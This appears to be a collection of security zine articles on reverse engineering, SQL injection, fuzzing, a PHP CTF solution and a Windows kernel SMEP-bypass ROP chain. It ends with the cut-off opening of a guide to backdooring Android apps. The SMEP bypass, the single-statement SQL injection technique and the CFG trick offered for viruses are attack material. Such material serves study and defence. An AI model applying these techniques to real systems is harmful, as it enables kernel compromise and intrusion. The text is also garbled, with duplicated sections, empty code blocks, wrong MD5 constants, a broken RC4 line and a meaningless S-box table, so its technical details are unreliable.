The 7th crackme of flare-on 6\(^1\) reverse engineering challenge was written in Python and then converted to Windows executable using PyInstaller\(^2\).

Typically, a reverse engineer would attempt to extract the Python byte code and then try decompiling or disassembling it. The result of this process is later used for further static/dynamic analysis or even patching.

However, in some cases, including ours, the behaviour of Python code might depend on the fact that it is being run from inside that very executable it originally came in, and any tampering with the executable would lead to completely different behaviour, let alone running the decompiled version.

2 Problem Description

After extracting the Python bytecode from wopex.exe and getting past eval() based code obfuscation, we are left with a program that requests launch code, verifies its correctness, and only then it would calculate and print a flag using the previously provided code.

Part of the subroutine that verifies the correctness of the launch code would first extract some bytes from the current executable file after being mapped to memory, and use them to calculate a list of integers h.

```python
from hashlib import md5
from ctypes import *
GetModuleHandleW = windll.kernel32.GetModuleHandleW

def wrong():
    trust = GetModuleHandleW(None)  # Truncated code: tr and ih are calculated
    computer = string_at(trust, 1024)
    # Using local variables trust and computer
    spare = bytearray(string_at(trust + ih, tr))
    # More truncated code: additional bytes are extracted from trust and added to spare
    return md5(spare).hexdigest()
```

This list of integers h will play a crucial role in verifying the correctness of the launch code, thus extracting that list would be a necessary step in solving the challenge.

3 Return to Python

The objective here is to capture the value of h once it gets evaluated. Since this executable file is linked against python37.dll, we can make use of Python/C API\(^3\) and try to get h printed somehow. Luckily for us, there is a function exported by pythonXX.dll that will pop up a Python shell for us while maintaining the side effects of all Python code that ran before it, and that function is none other than Py_Main.

The following assembly snippet is the part of wopex.exe which loads and executes the challenge after being unpacked and decompressed. The Python challenge itself is stored using Python marshal. First marshalled object is read and unmarshalled using PyMarshal_ReadObjectFromString, next it is passed to PyEval_EvalCode which executes that Python object.

```assembly
EB214A push eax
EB214B push esi
EB214C call dword ptr ds:[<SPyMarshal_ReadObjectFromString>]
EB2152 add esp,8
EB2155 test eax,eax
EB2157 je wopr.EB21C2
EB2159 mov edi,dword ptr ss:[esp+18]
EB215D push edi
EB215E push edi
EB215F push eax
EB2160 call dword ptr ds:[<SPyEval_EvalCode>]
EB2166 add esp,C
```

So the first step in leaking that Python variable will be to force the code to finish PyEval_EvalCode and then jump right into Py_Main. To achieve that, we run the challenge separately, then attach the debugger to it. Next, we set our strategic breakpoint at 0xeb2166 and hit continue.

At this point, we need to find out how to force the Python virtual machine to exit once the list h gets initialized. Since the list h gets initialized only once at the beginning of the code, we can stop the program at any point. One good trick to stop Python code execution is sending EOF while it is expecting input; on Windows terminal, this can be done via CTRL+z followed by Enter.

Once we force PyEval_EvalCode to return, our breakpoint hits. At this point, we just have to set up the stack and jump right into Py_Main.

Despite the fact that Python documentation recommends that Py_Main should take the exact same argc and argv as main function, experimenting showed that passing 0 and NULL will work just as fine, as long as we don’t access argv from inside Python. So we push 2 zeros onto the stack followed by some random return address, then set the instruction pointer to Py_Main address and hit continue.

We will be left with a nice Python shell, where we can try typing h and get the list of the values we were after.

---

\(^1\)https://Flare-on.com
\(^2\)https://www.pyinstaller.org/
\(^3\)https://docs.python.org/3/c-api/veryhigh.html
Intro:
What if you wanted to inspect Python functions in a compiled bundle (let’s say, with Pyinstaller)? The easy way is to decompile it. But what if the decompilation triggers some anti-RE checks?
This is what happened to me: I’d like to inspect an XOR operation, to get the XOR key, but decompilation was breaking everything. So the solution was to debug directly the Python executable. If you’ve ever tried it, you know what a nightmare it could be. But I found this shortcut...

Tools:
Python 3.7.4 32 bit, Cheat Engine 7.0, x64dbg.

Chasing for XOR:
First of all let’s write a sample script to be used as a bait:

```python
import time
a = 10
b = 20
while True:
    c = a ^ b
    print("30")
time.sleep(4)
    c = a ^ 82
    print("82")
time.sleep(4)
```

The “print” of the expected result as string has been done to reduce false positives.
Run the script, then attach Cheat Engine to the “Python.exe” process.
Now use “New Scan” → “Exact Value” → “Byte”. Set the value to 30, wait the script to set that value and scan.
Change the value to 82, wait for the script to print 82 and then “Next Scan”. You should obtain something like:

```
D8 8B 04 11 49 02 (33 41 FE) 89 44 19 FE
```

Once done right click on the selected address and choose “Find out what writes to this address”. Say “Yes” to the request to attach a debugger and click on “Show Disassembler”.

Tools:
python37.dll, Cheat Engine 7.0, x64dbg.

Chasing for XOR:
First of all let’s write a sample script to be used as a bait:

```python
import time
a = 10
b = 20
while True:
    c = a ^ b
    print("30")
time.sleep(4)
    c = a ^ 82
    print("82")
time.sleep(4)
```

The “print” of the expected result as string has been done to reduce false positives.
Run the script, then attach Cheat Engine to the “Python.exe” process.
Now use “New Scan” → “Exact Value” → “Byte”. Set the value to 30, wait the script to set that value and scan.
Change the value to 82, wait for the script to print 82 and then “Next Scan”. You should obtain something like:

```
D8 8B 04 11 49 02 (33 41 FE) 89 44 19 FE
```

The XOR is the 3 opcodes highlighted, the others are for reference, to see if we are in the proper place when we’ll search for them. We now know how XOR is implemented in Python library.
To confirm, you can close Cheat Engine start x64dbg (as admin) and attach to “Python.exe” process. With the “Find Pattern” function in “Memory Map” tab, look for the opcodes. Use the surrounding one to understand if you got the proper XOR. Now place a breakpoint where

```
D8 8B 04 11 49 02 (33 41 FE) 89 44 19 FE
```

Run and wait to reach the breakpoint: you’ll be able to inspect the XORed values

```
axA = \"\n\nword ptr [ecx-2] = [python37.6B4B65EC] = 14
.text:6b2669eb python37.dll:01069eb #105deb
```

Now you can apply the same breakpoint to your original executable and be able to look at the values. A couple of things to remember:
- perform this check on the same Python version as used in the original executable
- tweak the “Scan” options accordingly to what you are looking for.

Cesare Pizzi (@red5heep)
Looking at the RarVM

It has been 7 years now since Tavis Ormandy published his research about the obscure Virtual Machine unrar provided to execute custom code that was able to be attached to RAR archives. Based on his blog post and the small tool chain he developed I looked into the topic recently as well and thought that it might be something worth resurfacing, especially considering obsolete things like this seem to pop up time and time again:

unrar and WinRAR prior to version 5.00 contained logic for optional filter code meant to optimize the compression for custom data formats. When extracting files of an archive that made use of it the optional code was parsed and executed by an internal embedded Virtual Machine - the RarVM.

Custom programs inside archives sound fascinating, but this feature was never really used in the creation of archives by the official tools. Because of its lack of outside communication, interacting with it is also not possible, so it doesn’t provide other uses either. Regardless it’s an interesting example of an embedded VM.

The VM itself provides 8 general purpose 32-bit registers, a program counter, 3 different flags (zero, carry and signed) and a 262 kB data address space for processing the files meant for extraction. Executable filter code is completely separated from the addressable memory and limited to 25,000,000 executed instructions per filter, but the amount of filters per archive is not restricted.

Although the instruction set isn’t special with its 40 different instructions, it not only covers all common arithmetic and logical operations, but also basic stack based instructions and jumps. Only the PRINT and STANDARD instructions deviate from what could be expected, where the PRINT instruction does nothing in the later versions of the RarVM and was originally used as a debug instruction to dump the state of registers.

Contrarily STANDARD is the only instruction actually used in archive creation supported by WinRAR and is responsible for invoking the predefined standard filters which, for example, cover optimised compression for Pentium and Itanium program code.

An example of how a very basic filter looks like:

```
./unrar p -inul pagedOut.rar
```

This small filter first moves the “PagedOut” string to address 0x1000, updates the data pointer to that address, then resizes the uncompressed output length to 8 bytes and at the end jumps out of the address space to indicate successful execution. Regardless of what file data was filtered the output will always stay the same with this filter, although other data could appear before and after it.

Looking deeper into the parsing of the code the instruction encoding is even more interesting as instructions are not even byte aligned while in binary format. The first few bits of an instruction indicate the opcode and can either be 4 or 6 bits in length. In case the instructions support the “ByteMode” which most that operate on memory do, another bit is added that decides if the operation accesses four or just a single byte at a time. Lastly follows the encoding of the operands, which differ depending on whether they encode a register, an immediate value, or a memory reference. For the immediate values the number to encode decides the bit lengths, and for memory references whether they include an index register, a base address or both. Notable here is that all instructions with operands support all encodings for all their parameters. This allows for self-modifying code when setting the destination operand to an immediate value:

```
./rarvm-debugger d -trace example02.rar
```

There is quite a lot more to look into, so if any of this sounded fun I can only recommend looking into the aforementioned blog post and the source code of an unrar version still containing the VM. Additionally I’ve also collected some information, a small debugger and some example archives as well.

---

5 https://github.com/Pusty/rarvm-debugger
6 https://github.com/Pusty/rarvm-debugger
Control Flow Guard Teleportation

Control Flow Guard (CFG) is a Windows' security feature that aims to mitigate the redirection of the execution flow, for example, by checking if the target address for an indirect call is a valid function. We can abuse this for funny obfuscation tricks.

How does CFG works?

With that example, let's compile an exe file with MSVC compiler to see what code is produced and executed before calling main():

```asm
call __scrt_get_dyn_tls_init_callback
mov esi, eax ...
mov esi, [esi]
mov ecx, esi
call ds:_guard_check_icall_fptr
call esi
```

The function __scrt_get_dyn_tls_init_callback gets a pointer to a TLS callback table to call the first entry. The callback's function is protected by CFG so the compiler adds code to check if the function address is valid before executing the target address in ESI. Let’s follow the call:

```asm
__guard_check_icall_fptr dd offset _guard_check_icall_nop
__guard_check_icall_nop proc near
  retn
__guard_check_icall_nop endp
```

Just RETN. Why? So that the program can run in older OS versions that do not support CFG. In a system that does supports it the _guard_check_icall_nop address is replaced with LdrpValidateUserCallTarget from NTDLL:

```asm
ntdll!LdrpValidateUserCallTarget:
  mov edx,[ntdll!LdrSystemDllInitBlock+0xb0] (76fb82e8)
  mov eax,ecx
  shr eax,8
  shr eax,8
ntdll!LdrpValidateUserCallTargetBitMapCheck:
  mov edx,[edx+eax*4]
  mov eax,ecx
  shr eax,3
```

Introducing the Bitmap

For CFG they added a bunch of new fields to the PE in the Load Config Directory: GuardCFCheckFunctionPointer which points to _guard_check_icall_pt, the function address to replace; and GuardCFFunctionTable. The table contains the RVAs of all the functions to be set as valid targets. But set where? In a Bitmap that is created when loading the PE. LdrpValidateUserCallTarget gets the address of the Bitmap from LdrSystemDllInitBlock+0xb0 in that first instruction.

The Bitmap contains (2 bit) “states” for every 16 bytes in the entire process: yes, it’s big. When the PE is loaded, the RVAs from the table are converted to offsets, then the state at that offset is set accordingly.

Beam me up, CFG!

My idea is to use the GuardCFFunctionTable to populate the Bitmap with chosen states, and regenerate our code inside it, then at the entrypoint we copy it into our image and execute it. I was able to figure out some of the states before, now thanks to Alex Ionescu’s (et al) research in Windows Internals 7th Edition book, I completed the list, including their meaning:

<table>
<thead>
<tr>
<th>Code</th>
<th>Meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>00b</td>
<td>Invalid target</td>
</tr>
<tr>
<td>01b</td>
<td>Valid and aligned target</td>
</tr>
<tr>
<td>10b</td>
<td>Same as 01b? (See below)</td>
</tr>
<tr>
<td>11b</td>
<td>Valid but unaligned</td>
</tr>
</tbody>
</table>

Say that the first byte in our code is 0x10 (010000b), our region to transfer our code from the Bitmap begins at 0x402000 (RVA: 0x2000), just for clarity we will use that same region for our fake RVAs. To generate 0x10 we need only 1 entry in the table: 0x2020, skipping the first 32 bytes so that the states are set to 0000b, 0x2020 sets the next state to 01b and the Bitmap becomes 010000b.

Now to get the state 11b, say that we want the byte 0x1D (011101b), we use an unaligned RVA, the table would be: 0x2000 (sets to 01b), 0x2012 (sets to 11b), 0x2020 (sets to 01b). It’s easy!

To get 10b, we need to use a special type of RVA with metadata, but it’s simple, we append a byte to the RVA that we use to generate the 10b. The metadata is a flag: IMAGE_GUARD_FLAG_FID_SUPPRESSED (1) or IMAGE_GUARD_FLAG_EXPORT_SUPPRESSED (2). So say we want to generate 0x86 (10000110b), we use: 0x2000 with 0x2 (sets to 10b), 0x2010 (sets to 01b), 0x2030 with 0x2 (sets to 10b).

Transfer from the Bitmap

```asm
mov esi, 0OEADh ;GuardCFCheckFunctionPointer points here
mov esi, [esi + 2] ;get LdrSystemDllInitBlock+0xb0 address
mov esi, [esi] ;get the Bitmap address
mov eax, [ebx + 8] ;ebx=fs:[30h] at start time
lea edi, [eax + 0xxxxxx] ;imagebase + buffer rva
add ah, 20h ;imagebase + 0x2000
shl eax, 8 ;shift-right 8 bits to make the offset
lea esi, [esi + eax*4] ;esi=our code in the Bitmap
mov ecx, 0xxxxxxx ;size of code
rep movsb
```

We let the loader replace the ODEAdh with the address to LdrpValidateUserCallTarget from which we can get the address of the Bitmap. We calculate the offset to the region in the Bitmap (0x402000) and copy the regenerated code from it.

Bonus fun facts

So what happens when an invalid address is detected? It’s funny because most tools or codes that alter PE files don’t support CFG: any address that you alter to execute your code somewhere else, must be in the table. This has the effect of killing many viruses that alter AddressOfEntryPoint, or use EntryPointObscuring (EPO) techniques. But if you disable CFG in the PE, you can replace GuardCFCheckFunctionPointer with your own address for a nice EPO technique. :-)

Outro

This was an idea of which I wrote two texts about failure and success. This article is a better explanation of it for the people who don’t know it yet. Maybe now you want to look at my demo and try it: https://github.com/86hh/cfg-teleport-demo

https://twitter.com/hh86-
https://86hh.github.io/
Identifying Crypto\textsuperscript{1} Functions

When reverse engineering programs you might encounter code that makes use of various cryptographic functions. These functions can be both large and difficult to understand making you waste valuable time on reverse engineering them. This article will explain a few methods to more easily identify some of the most popular cryptographic functions which will hopefully save you time in your reverse engineering efforts.

Constants

The first and easiest way to identify some cryptographic functions is to utilize the fact that many of these algorithms make use of specific constants in their calculations. Identifying and looking up these constants can help you to quickly identify some algorithms. For example the MD5 hashing algorithm initializes a state with the following four 32-bit values: 0x67452301, 0x98badcfe, 0x10325476, 0x61c88647. Be careful though since SHA-1 also uses these four values but additionally it uses 0xc3d2e1f0 in its initialization. Another thing to look out for is some optimizations. Several algorithms, including the XTEA block cipher, add a constant (0x9e3779b9 in the XTEA case) in each iteration. Since numbers are represented with two’s complement, it means that adding a value \( X \) is the same as subtracting \( -X + 1 \), that is the bitwise negation of \( X \) plus one. This means that, in the case of XTEA, you sometimes will instead see that the code subtracts 0x61c88647 (since 0x61c88647 = \(-0x9e3779b9 + 1\) ). Thus if you try to look up a constant and get no results, try searching for the inverse of that constant (plus one) as well.

```
; these two are the same
add edx, 0x9e3779b9
sub edx, 0x61c88647
```

Popular algorithms that make use of specific constants include: MD5, SHA-1, SHA-2, TEA and XTEA.

Tables

Closely related to algorithms that use specific constants are algorithms that use lookup tables for computations. While the individual values in these tables usually are not that special as they are typically indices or permutations of a sequence, the sequence itself is often unique to that specific algorithm. For example, the substitution box, S-box, for AES encryption looks like this:

<table>
<thead>
<tr>
<th>0</th>
<th>1</th>
<th>2</th>
<th>3</th>
<th>4</th>
<th>5</th>
<th>6</th>
<th>7</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>9</td>
<td>A</td>
<td>B</td>
<td>C</td>
<td>D</td>
<td>E</td>
<td>F</td>
</tr>
<tr>
<td>10</td>
<td>11</td>
<td>12</td>
<td>13</td>
<td>14</td>
<td>15</td>
<td>16</td>
<td>17</td>
</tr>
<tr>
<td>18</td>
<td>19</td>
<td>20</td>
<td>21</td>
<td>22</td>
<td>23</td>
<td>24</td>
<td>25</td>
</tr>
<tr>
<td>26</td>
<td>27</td>
<td>28</td>
<td>29</td>
<td>30</td>
<td>31</td>
<td>32</td>
<td>33</td>
</tr>
<tr>
<td>34</td>
<td>35</td>
<td>36</td>
<td>37</td>
<td>38</td>
<td>39</td>
<td>40</td>
<td>41</td>
</tr>
<tr>
<td>42</td>
<td>43</td>
<td>44</td>
<td>45</td>
<td>46</td>
<td>47</td>
<td>48</td>
<td>49</td>
</tr>
</tbody>
</table>

Searching for a subset of this table, such as ”63 7c 77 7b \( \oplus \) 6b”, will reveal that this is the Rijndael (the name of the AES algorithm) S-box. Popular algorithms that make use of lookup tables include: AES, DES and Blowfish.

\textsuperscript{1}Crypto stands for cryptography

RC4

Although not recommended anymore due to cryptographic weaknesses, the RC4 cipher still shows up in a lot of places, possibly due to its simplicity. The full key scheduling and stream cipher implemented in Python are shown below. The pattern to look out for here is the two loops in the key scheduling algorithm where the first one creates a sequence of the numbers \([0, 255]\) and the second one swaps them around based on the key.

```
S, j = range(256), 0
for i in range(256):
    j = (j + S[i] + key[i % keylength]) \% 256
    S[i], S[j] = S[j], S[i]  # swap
```

The actual key stream is then generated by swapping items around in the table and using them to select an element as a key byte.

```
i, j = 0, 0
for b in data:
    i = (i + 1) \% 256
    j = (j + S[i]) \% 256
    S[i], S[j] = S[j], S[i]  # swap
    yield b - S[S[i] + S[j]] \% 256
```

Feistel Networks

A popular pattern to look out for in cryptographic code is a Feistel network. The general idea is that the input is split into two halves. One of them is fed into a function whose output is XORed with the other half before the halves finally swap places. This is repeated a certain number of times, commonly 16, 32 or 64. The diagram below illustrates a three round Feistel network. Identifying this pattern can help in narrowing down which algorithm you are reversing.

```
R_0 \rightarrow f_1 \rightarrow f_2 \rightarrow f_3 \rightarrow R_3
```

Be Careful

Finally, look out for slightly modified algorithms. The techniques described above give you good heuristics for identifying crypto algorithms. However, sometimes authors make small adjustments to them to waste your time. For example, you might incorrectly identify a piece of code as SHA-1 and just use a SHA-1 library function in an unpacker script you are writing separately. In reality a slight adjustment has been made to the algorithm to make it produce completely different output. This of course destroys any security guarantees of the algorithm but in some scenarios that is of less importance. This means that if you use these techniques and experience issues, verify the functions by comparing the input and output with an off-the-shelf version of the algorithm you believe to have identified.

---

\textsuperscript{1}Crypto stands for cryptography
Turing Complete SQL Injections
Case Study: MySQL Factorial Computation

**Stored Procedure**

CREATE PROCEDURE f(IN n INT, OUT o INT) BEGIN IF n=0 THEN SET o:=1;ELSE CALL f(n-1,o);SET o:=n*o;END IF; END

× Must be new statement; typically can't use for SQL injections

**MySQL Recursive CTE**

WITH RECURSIVE r AS (SELECT 1 i,1 o FROM r UNION ALL SELECT r:=r+1,i+1,o+(i+1) FROM r WHERE i<20)SELECT o FROM r,t WHERE i=n;

× MySQL 8+ only (who updates???)
× Recursion is hard for us mortals.

**“Try Harder” SQL**

SELECT EXP(SUM(LOG(i))) FROM (SELECT @r:=@r+1, i FROM INFORMATION_SCHEMA.Columns JOIN (SELECT @r:=1)_) WHERE i <= (SELECT n FROM t);

× Hard or impossible to write
✓ You look cool when it works

**sqlmap skiddie**

Blind SQL injection to leak t.n, then do it locally

× Slow; multiple queries*
× Boring
✓ Reliable (I use this)

* See [Ploit, Google CTF 2019](#) for an example where multiple queries can't work.

### INTRODUCING SQLVM

**SQLVM Input Code**

{% sqlvm %}

(SELECT @n := n FROM t)

@a := 1
{%label("s")%}

{%for v in 0 1%}

{%label("s")%}

{%endsqlvm %}

✓ Easy-ish to write
✓ Single statement suitable for injection
✓ Arbitrary computation, including support for functions and arrays
✓ MySQL 5+ supported
× Like PHP, initially created as a joke

**Raw MySQL Code**

SELECT o /\select output from*/ FROM (SELECT 0 v, '' o, 0 pc FROM (SELECT @pc:=0, @mem:='';, @out:='' /*initialize program counter, memory and output variables*/) _ UNION SELECT v, CASE @pc /*program counter tells us which statement to execute*/ WHEN 0 THEN (SELECT @n := n FROM t) /*subqueries allow reading tables*/ WHEN 1 THEN @a := 1 /*some statements translate directly*/ WHEN 2 THEN 0 /*label becomes nop*/ WHEN 3 THEN @a := @a * @n WHEN 4 THEN @n := @n - 1 WHEN 5 THEN @a := 1 /*jump to label by changing @pc*/ WHEN 6 THEN @out := CONVERT(@a,CHAR) ELSE @out /*"end" of program; output @out*/ END, @pc := @pc+1 /*go to next instruction*/ FROM (SELECT E0.v,E1.v.E2.v.E3.v.E4.v.E5.v.E6.v FROM(SELECT 0 v UNION SELECT 1)e0,(SELECT 0 v UNION SELECT 2)e1,(SELECT 0 v UNION SELECT 4)e2,(SELECT 0 v UNION SELECT 5)e3,(SELECT 0 v UNION SELECT 16)e4,(SELECT 0 v UNION SELECT 32)e5,(SELECT 0 v UNION SELECT 64)e6 ORDER BY v)_) WHERE v=127 /*select just the last output*/

**Hack: loop in SQL by making big table**

<table>
<thead>
<tr>
<th>E0</th>
<th>E1</th>
<th>E2</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>1</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>E0</th>
<th>E1</th>
<th>E2</th>
<th>E3</th>
<th>E4</th>
<th>E5</th>
<th>E6</th>
<th>E7</th>
<th>E8</th>
<th>E9</th>
<th>E10</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td>7</td>
<td>8</td>
<td>9</td>
<td>10</td>
</tr>
</tbody>
</table>

HUGE table

[Turing-Complete SQL Injections with SQLVM]

Website: kvakil.me/

Github: github.com/kvakil

Keyhan Vakil

SAA-ALL 0.0.5
Fuzzing Essentials

While fuzzing is a common technique used by security researchers for many years to discover memory corruption and similar vulnerabilities, many smaller companies and developers still haven’t included it as part of their CI/CD and SDLC process. This short article aims to highlight some pointers for further research and considerations that can vastly improve the success rate of a fuzzing campaign.

Attack Surface Enumeration: Identifying interesting trust boundaries and chokepoints in your target application, such as supported file formats or network protocols, is usually the first step after a target has been selected. However, there are also many other potential avenues for attack: environment variables, file paths, ActiveX controls, APIs, APDUs and system calls are some of the many other areas that make for good fuzzing candidates. Unearthing a new attack surface in a well-fuzzed target often yields fruitful results.

Corpus Distillation: A proper corpus, containing the input data that is going to be mutated, can be seen as one of the main pillars of a successful fuzzing campaign. The idea is to create a minimum amount of files (input) that has a maximum amount of code coverage and state diversity in the target application. Since storage is very cheap, the corpus can be updated and refined over time and reused against other targets that support the same kind of input (cross pollination).

If the format is unknown (e.g. proprietary, undocumented), a common approach is to use a web scraper for Google (search operator filetype: or Bing (search operator ext:) to automatically download a large quantity of suitable files as a starting point, before further refining the corpus. Similarly, many applications come with suitable files as part of unit tests, example files, or other public test corpora for functional testing.

In addition to coverage, the number of files, processing/parsing time and file size are other important properties that should be considered. “Optimizing Seed Selection for Fuzzing” provides some further ideas on creating a good fuzzing corpus.

Code Coverage: There are different methods how code coverage can be obtained and measured. Other than to determine which code gets executed by a given input (instrumentation can be applied both during compilation at source code or to a binary), it is also worthwhile to investigate the sequence of executed code or how often a specific code got executed. Typical metrics include block coverage, edge coverage, function coverage and line coverage. In many cases, recording state transitions is beneficial, since that is often where an issue manifests (as opposed to just reaching a new basic block).

Evaluation: Different reference test sets can be used for an initial evaluation of a fuzzing engine, such as the DARPA CGC dataset, LAVA-1, LAVA-M, RodeoDay etc. However, since those consist largely of synthesized bugs, they do come with potential limitations, such as their size, complexity and depth, covered vulnerability classes and target system and programming languages. A good paper on the topic is “Evaluating Fuzz Testing” which provides further considerations.

Target Optimization: In many cases the target application can be configured in a way to increase the fuzzing efficiency. This can include things like disabling automatic update checks during program launch, disabling the loading of previously opened files, etc. Additionally, the target application can often be patched to remove certain bottlenecks and other undesired behavior, such as nag screens, checksums and other cryptographic checks (this can also be done in some cases with a post-processing script on the corpus), time/run/function limitations, expensive/slow API calls (e.g. sleep(), system(), exec() etc.), writes to disk, allowed simultaneous connections, flood protection, etc. For file parsers, the binary can be patched to add a clean exit signal, such as via ExitProcess(), to clearly indicate when parsing has been finished and the next test case can be executed. In many cases, it makes sense to spend time reversing the target application to better understand the inner workings and see how it can be optimized for better fuzzing throughput.

Environment Optimizations: In addition to preparing the target application itself, the environment in which it is executed can be optimized too. Disabling unnecessary services, disabling paging and using RAM disks are only a few of the changes that can be made to get better performance. Similarly, disabling ASLR can be helpful later on when automatically analyzing and comparing test results.

Mutation: The main consideration is about the structure of the format. Fixing random bits/bytes in a binary format yields likely better results than applying the same approach against a structured format (e.g. JavaScript). In such cases, following a grammar-based approach is preferred, which defines valid keywords and their relationships. Radamsa is often a good starting point for quick prototyping.

Detection: The typical approach is to attach a debugger to the target process while fuzzing and monitor for access violations and similar exceptions. Sanitizers, like AddressSanitizer & SyzyASan, MemorySanitizer and Dr. Memory, can help to trigger violations quicker and often closer to the root cause of an issue. Similarly, hooking memory management functions (e.g. using Full Page Heap and libdislocator) and the use of Guard Pages, can also help to detect additional memory corruption issues while fuzzing. The advantages of making use of such techniques usually outweigh the performance penalty that sanitizers introduce (2x-10x), and can be compensated with more computation power.

Minimization/Delta Debugging: A crash might result from a mutated file that has a lot of changes compared to its original seed file it was derived from. Using different algorithms, the process of minimizing the crash file can be automated. The two main approaches in minimization are to revert back changes from the mutated file to the original seed file as much as possible, while still triggering the same crash, thus making it easier to identify the offending bytes. Similarly, the size of the crashing input itself can be minimized, so that only relevant data remains that needs to be analyzed when triggering the associated crash (e.g. via afl-tmin or halfempty).

Triaging: After running a fuzzing campaign for a longer period of time, it is likely that more crashes have been logged than resources (time, analysts) are available for analyzing all of them in detail. Tools like Bueid, lexploitable for WinDbg can help to automatically classify the crashes in different categories (e.g. write access violation, null pointer dereference, division by zero, etc.) based on the access violation information and call stack, and indicate the likelihood of exploitability. Although there is a lot of room for improvement in these tools, they can help as a first step in prioritizing which crashes to analyze first.

While proper root cause analysis remains a largely manual task, techniques like time travel debugging (e.g. qira and WinDbg Preview) greatly help to speed up the debugging process.

---

5. https://github.com/ash/radamsa
6. https://github.com/google/sanitizers
7. https://drmemory.org/
8. http://bamtuf.coredump.as/afl
11. https://qira.me/
How to get a free HackYeah2019 ticket?
Or how I cracked Gynvael Coldwind’s challenge.

If you want to see what it is all about, please visit: https://gynvael.coldwind.pl/?lang=en&id=718

Background:
- Before I started I knew nothing about PHP;
- I knew I wouldn’t use the discount code (I couldn’t be in Poland at this time);
- I had to be quick, because of huge competition!

When I opened the challenge, I noticed that the page was very long. I wanted to see if the flag was embedded somewhere in the page, so I scrolled to the very bottom of it. Good try… but, unfortunately, it didn’t give me the answer that I was looking for:

```
// what? no, this is not one of the 'scroll down' puzzles
```

Also, when I’ve opened the following file

```
include_once('hackyeah2019_secret.php');
```

I didn’t find anything valuable:

go solve the challenge, no sense looking at this file

OK. It seemed like I had to work a little bit harder to find the solution. I started reading the code more thoroughly and noticed that the first few lines were used for validation; it verified if the PHP server received a GET request with 'hack' parameter. I opened the URL in a browser, but later changed my mind to use cURL:

```
```

oh no!

After sending “hack” parameter, I noticed that the server expected an array, and not any random value. To fulfill this requirement, I had to provide `['']` in the URL. The `'g'` flag was also required to disable the parser (otherwise, according to URI standard, it would be necessary to send `%5B%5D'`)

```
```

oh my!

Success (note the changed error message). Server received an array, but was interrupted when reading the first element. It happened because I didn’t provide a `['start']` key

```
```

oh bummer!

This response meant that I provided the wrong value. Looking back at the first note about "crc32" implementation, I attempted to brute force it.

```
<?php
    $i = 0; $total = 0; $string = ''; do {
        $hash = substr(hash("crc32", $i), 0, 5);
        if ($hash == "31337") {
            $string = $string."hack[start]=".$i; $total++;
        } else {
            $string = $string."hack[]=".$i; $total++;
        }
    } while($total < 32);
    printf($string);
?>
```

Even though I had correct numbers, solution still didn’t work. I spent some more time trying to understand what was wrong and noticed that instead of creating an array with distinct keys, I used only one key: ‘start’

I’ve missed this piece from the original code:

```
$used_up_keys[$value] = true;
$next_key = $value;
```

After I noticed this problem, I updated my code to this:

```
<?php
    $i = 0; $total = 0; do {
        $hash = substr(hash("crc32", $i), 0, 5);
        if ($hash == "31337") {
            if ($total == 0) { $string = "?hack[start]=".$i; } else { $string = $string."hack[$prev]=".$i; } $prev = $i;
        } $total++;
    } while($total < 32);
    printf($string);
?>
```

Re-running my code then generated a partial URL. I pasted it to the console and executed it:

```
```

<h1>Good job! :)</h1>
<p>Discount code (flag):</p>
<p>Gynvael_Coldwind_and_HackYeah</p>
<p>Feel free to share the code with your friends, but don't post it publicly ;)</p>
<p>You can use the above code at <a href="http://bit.ly/getFREETICKETtoHackYeah">http://bit.ly/getFREETICKETtoHackYeah/</a> (click Register there, select the number of tickets, and then look for a rather small text saying "You have discount code?" or "Masz kod promocyjny?").</p>
<p>Sweet! I've got the flag!</p>
A story of a SMEP bypass

The Problem

We have the following situation: We are exploiting a stack buffer overflow in a driver. The target OS is Windows 1709 x64. We have control of RIP but we can’t jump directly to userland because of SMEP. There is also DEP so we need use ROP to do anything useful. Also, we want to spice it up so we can only take gadgets from ntoskrnl.

Supervisor Mode Execution Prevention is a protection that prevents the execution of pages marked as user in ring0. If the bit CR4.20 == 1 then SMEP is enabled. Otherwise, it is disabled. Windows added support for it in version 8.

If we want to bypass it we can mainly do two things:

- We can try to do everything in the kernel. Execute code only in pages marked as kernel-mode.
- We can make a ROP chain to disable it! That’s what we are going to do.

It’s important to know that we can’t leave it disabled. Windows has a protection called Kernel Patch Protection (KPP) that, among other things, will crash the system if SMEP is disabled. It doesn’t check every time, so we have an interval of time to enable it again.

The solution

Our strategy will be the following:

1) Disable SMEP  
2) Jump to the payload  
3) Enable SMEP

Disable SMEP

pop rcx; ret

ptr_userland_memory An address where control registers will be saved

nt!KiSaveInitialProcessorControlState  
This will save control registers values to the memory pointed by ptr_userland_memory

mov rax, dword [rcx+0x18]; ret  
[RCX+0x18] is the value of CR4

pop rcx; ret

0xFFFFFFFFFFFFFF; All bits preserved except for SMEP one

and ecx, eax; mov rax,  
0xFFFFFFFF00000000; add rax, rcx; ret

AND 0xFFFFFFFF00000000, CR4

mov cr4, ecx; ret  
Disable SMEP!

Jump to the payload

Here we put the payload address.

In the payload, after doing all we want (for example: token stealing), we get the CR4 value using the ptr_userland_memory. Remember that it was stored at ptr_userland_memory+0x18. We must put it in ecx.

mov rcx, ptr_userland_memory
add rcx, 18h

mov ecx, dword ptr [rcx]
ret

Enable SMEP

mov cr4, ecx; ret

We did it! We bypassed SMEP on Windows 10 1709 x64. If you want to check the gadgets addresses and test it, check https://github.com/polakow/WindowsBypassSMEP

Lucas Dominikow

https://github.com/polakow  
https://twitter.com/p0lak0w

CC BY-SA 4.0
Creating a Backdoored App for Pentesting

In this article, I’m going to explain a simple way of building a backdoored application in Android Studio using Java. The proposed backdoor does not trigger any security warnings because of the minimal permissions required by the app. One needs to perform behavior analysis to find the processes running in the application and declare it malicious (which is unlikely to happen in a pentesting exercise). Also, do make sure to double-check your penetration testing contract before you apply any of this.

Problem:
A few years back, building backdoors using Metasploit used to work like a charm as it didn’t showcase the permissions while being installed. But after Android versions >4.4, it is harder to build untraceable payloads as even the naive user can see the malicious permissions being asked for. Most of the backdoors trigger security alerts, informing the user that the app being installed is malicious.

Solution:
